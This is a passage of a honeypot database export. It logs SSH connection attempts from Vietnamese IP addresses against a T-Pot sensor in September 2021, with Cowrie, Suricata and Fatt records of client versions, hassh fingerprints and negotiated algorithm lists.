"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58838, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.832322", "@timestamp": "2021-09-20T11:07:29.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22796	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:29.265888+03	2021-09-20 14:15:06.672501+03	{"_id": "yQbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0b451abe3cec", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:29.265888Z", "@timestamp": "2021-09-20T11:07:29.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22798	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:30.518825+03	2021-09-20 14:15:06.675499+03	{"_id": "ywbjAnwBvYTbRNuEuQtt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2194285561747066, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59584, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.518825Z", "@timestamp": "2021-09-20T11:07:30.518Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22799	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:30.97574+03	2021-09-20 14:15:06.676501+03	{"_id": "zQbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:43484 (192.168.176.2:22) [session: e0d94bd02c8e]", "session": "e0d94bd02c8e", "@version": "1", "protocol": "ssh", "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.975740Z", "@timestamp": "2021-09-20T11:07:30.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22800	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.803611+03	2021-09-20 14:15:06.678472+03	{"_id": "6wbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53256 (192.168.176.2:22) [session: 2357ad2a708d]", "session": "2357ad2a708d", "@version": "1", "protocol": "ssh", "src_port": 53256, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.803611Z", "@timestamp": "2021-09-20T11:07:30.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22801	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.980958+03	2021-09-20 14:15:06.679471+03	{"_id": "3gbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2357ad2a708d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:30.980958Z", "@timestamp": "2021-09-20T11:07:30.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22802	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:31.135774+03	2021-09-20 14:15:06.680469+03	{"_id": "3wbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8cd0f79477cf", "@version": "1", "duration": 2.669501543045044, "timestamp": "2021-09-20T11:07:31.135774Z", "@timestamp": "2021-09-20T11:07:31.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22807	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:30.960558+03	2021-09-20 14:15:06.686471+03	{"_id": "5wbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51708, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.960558", "@timestamp": "2021-09-20T11:07:30.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22803	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.961247+03	2021-09-20 14:15:06.68147+03	{"_id": "2wbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5207dab7797c", "@version": "1", "timestamp": "2021-09-20T11:07:30.961247Z", "@timestamp": "2021-09-20T11:07:30.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22804	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:30.241164+03	2021-09-20 14:15:06.682501+03	{"_id": "5QbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59584, "timestamp": "2021-09-20T11:07:30.241164", "@timestamp": "2021-09-20T11:07:30.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22805	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:30.683382+03	2021-09-20 14:15:06.683501+03	{"_id": "8wbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51708, "timestamp": "2021-09-20T11:07:30.683382", "@timestamp": "2021-09-20T11:07:30.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22806	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:30.980736+03	2021-09-20 14:15:06.6845+03	{"_id": "9AbjAnwBvYTbRNuEugvj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43484, "timestamp": "2021-09-20T11:07:30.980736", "@timestamp": "2021-09-20T11:07:30.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22808	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:31.082539+03	2021-09-20 14:15:06.687501+03	{"_id": "9wbjAnwBvYTbRNuEvQtW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1823548279751980, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53256, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.082539Z", "@timestamp": "2021-09-20T11:07:31.082Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22809	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.488495+03	2021-09-20 14:15:06.688501+03	{"_id": "_QbjAnwBvYTbRNuEvgvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2ce15ba32ccc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:31.488495Z", "@timestamp": "2021-09-20T11:07:31.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 